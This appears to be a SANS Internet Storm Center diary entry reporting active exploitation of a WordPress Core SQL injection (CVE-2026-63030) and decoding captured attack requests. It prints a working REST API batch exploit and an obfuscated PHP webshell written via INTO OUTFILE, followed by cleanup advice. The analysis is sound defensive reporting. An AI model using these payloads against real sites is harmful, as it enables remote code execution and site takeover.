WordPress Exploitation Underway (CVE-2026-63030)

    Published: 2026-07-20. Last Updated: 2026-07-20 18:41:24 UTC
    by Johannes Ullrich (Version: 1)
    0 comment(s)

    Last week, Searchlight Cyber released details about a vulnerability they are calling "wp2shell". The vulnerability was initially announced without a CVE number. But now has been assigned CVE-2026-63030. Many WordPress plugin vulnerabilities are never assigned CVE numbers. But wp2shell is different. It is a SQL injection vulnerability in WordPress Core, not a plugin, and can lead to unauthenticated remote code execution. Shortly after being announced, the vulnerability started to be exploited.

    If you are running WordPress, stop reading now. Check if you are vulnerable at https://wp2shell.com . Assume compromise if you are vulnerable.

    The exploit attempts hitting our honeypots are designed to detect the vulnerability, and do not deliver a functional exploit. But one of our readers submitted a complete exploit request captured by SecurityOnion:

    POST /?rest_route=/batch/v1 HTTP/1.1
    Accept-Encoding: identity
    Content-Length: 735
    Host: [hostname redacted]:8888
    Content-Type: application/json
    User-Agent: cve-2026-63030/1.0
    Connection: close

    {"requests": [{"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [{"method": "POST", "path": "///"}, {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"}, {"method": "GET", "path": "/wp/v2/posts"}]}}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}]}

    The vulnerability is exploited via the REST API, and in order to be exploitable, a WordPress install must expose the API. The exploit follows standard SQL injection patterns. It uses a UNION request to execute a second SELECT statement.

    The second SELECT query decodes to:

    SELECT 999999,2,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,5,CONCAT(0x7c7c,HEX(CAST((SELECT 0x4f4b)AS CHAR)),0x7c7c),7,0x7075626c697368,9,10,11,12,13,14,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,17,18,19,20,0x706f7374,22,23

    Decoding the HEX part:

    SELECT 999999,2,'2020-01-01 00:00:00', '2020-01-01 00:00:00', 5, '||OK||', 7, 'publish', 9,10,11,12,13,14,'2020-01-01 00:00:00','2020-01-01 00:00:00',17,18,19,20,'post',22,23

    This is a query to determine whether the system is vulnerable to SQL injection. The next query delivers the actual exploit:

    {"requests":[{"method":"POST","path":"///"},{"body":{"requests":[{"method":"POST","path":"///"},{"method":"GET","path":"/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+%27%3C%3Fphp+error_reporting%280%29%3B%40ini_set%28%5C%27display_errors%5C%27%2C0%29%3B%24k%3D%2294uh9ubh6e1x%22%3Bif%28%21isset%28%24_REQUEST%5B%22p%22%5D%29%7C%7C%24_REQUEST%5B%22p%22%5D%21%3D%3D%24k%29%7Bhttp_response_code%28404%29%3Becho%22%3C%21DOCTYPE+html%3E%3Chtml%3E%3Cbody%3E%3Ch1%3E404+Not+Found%3C%2Fh1%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%3Bexit%3B%7D%24c%3Dnull%3Bif%28isset%28%24_REQUEST%5B%22b%22%5D%29%29%7B%24bd%3D%22%5Cx62%5Cx61%5Cx73%5Cx65%5Cx36%5Cx34%5Cx5f%5Cx64%5Cx65%5Cx63%5Cx6f%5Cx64%5Cx65%22%3B%24c%3D%24bd%28%24_REQUEST%5B%22b%22%5D%29%3B%7Delseif%28isset%28%24_REQUEST%5B%22c%22%5D%29%29%7B%24c%3D%24_REQUEST%5B%22c%22%5D%3B%7Dif%28%24c%21%3D%3Dnull%29%7B%24o%3D%22%22%3B%24f%3D%22%5Cx73%5Cx79%5Cx73%5Cx74%5Cx65%5Cx6d%22%3Bif%28function_exists%28%24f%29%29%7Bob_start%28%29%3B%40%24f%28%24c%29%3B%24o%3Dob_get_clean%28%29%3B%7Delse%7B%24f%3D%22%5Cx70%5Cx61%5Cx73%5Cx73%5Cx74%5Cx68%5Cx72%5Cx75%22%3Bif%28function_exists%28%24f%29%29%7Bob_start%28%29%3B%40%24f%28%24c%29%3B%24o%3Dob_get_clean%28%29%3B%7Delse%7B%24f%3D%22%5Cx65%5Cx78%5Cx65%5Cx63%22%3Bif%28function_exists%28%24f%29%29%7B%40%24f%28%24c%2C%24a%29%3B%24o%3Dimplode%28%22%5Cn%22%2C%24a%29%3B%7Delse%7B%24f%3D%22%5Cx73%5Cx68%5Cx65%5Cx6c%5Cx6c%5Cx5f%5Cx65%5Cx78%5Cx65%5Cx63%22%3Bif%28function_exists%28%24f%29%29%7B%24o%3D%40%24f%28%24c%29%3B%7Delse%7B%24f%3D%22%5Cx70%5Cx6f%5Cx70%5Cx65%5Cx6e%22%3Bif%28function_exists%28%24f%29%29%7B%24p%3D%40%24f%28%24c%2C%22r%22%29%3Bif%28%24p%29%7B%24o%3Dstream_get_contents%28%24p%29%3Bpclose%28%24p%29%3B%7D%7Delse%7B%24o%3D%60%24c%60%3B%7D%7D%7D%7D%7Decho%22%5BS%5D%22.%24o.%22%5BE%5D%22%3B%7Delse%7Becho%22%5BS%5DOK%5BE%5D%22%3B%7D+%3F%3E%27+INTO+OUTFILE+%27%2Fvar%2Fwww%2Fwp-content%2Fcache%2F94uh9ubh6e1x.php%27--+-"},{"method":"GET","path":"/wp/v2/posts"}]},"method":"POST","path":"/wp/v2/posts"},{"body":{"requests":[]},"method":"POST","path":"/batch/v1"}]}

    Again, decoding the "UNION" query payload:

    UNION SELECT '<?php error_reporting(0);@ini_set(\'display_errors\',0);$k="94uh9ubh6e1x";if(!isset($_REQUEST["p"])||$_REQUEST["p"]!==$k){http_response_code(404);echo"<!DOCTYPE html><html><body><h1>404 Not Found</h1></body></html>";exit;}$c=null;if(isset($_REQUEST["b"])){$bd="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$c=$bd($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$c=$_REQUEST["c"];}if($c!==null){$o="";$f="\x73\x79\x73\x74\x65\x6d";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x70\x61\x73\x73\x74\x68\x72\x75";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x65\x78\x65\x63";if(function_exists($f)){@$f($c,$a);$o=implode("\n",$a);}else{$f="\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63";if(function_exists($f)){$o=@$f($c);}else{$f="\x70\x6f\x70\x65\x6e";if(function_exists($f)){$p=@$f($c,"r");if($p){$o=stream_get_contents($p);pclose($p);}}else{$o=`$c`;}}}}}echo"[S]".$o."[E]";}else{echo"[S]OK[E]";} ?>' INTO OUTFILE '/var/www/wp-content/cache/94uh9ubh6e1x.php'

    In short: A simple webshell. Note that the page created in "/wp-content/cache/94uh9ubh6e1x.php", will return a 404 error even though it exists (I call these "Jedi errors"... this is not the page you are looking for). 

    The attacker later also added a new admin user to the WordPress database. As a "cleanup" tip: Check for files in the '/cache/' directory and for recently created users. 

    --
    Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
    Twitter|

    Keywords:
    0 comment(s)
    ISC Stormcast For Monday, July 20th, 2026 https://isc.sans.edu/podcastdetail/10014

      Comments


      Diary Archives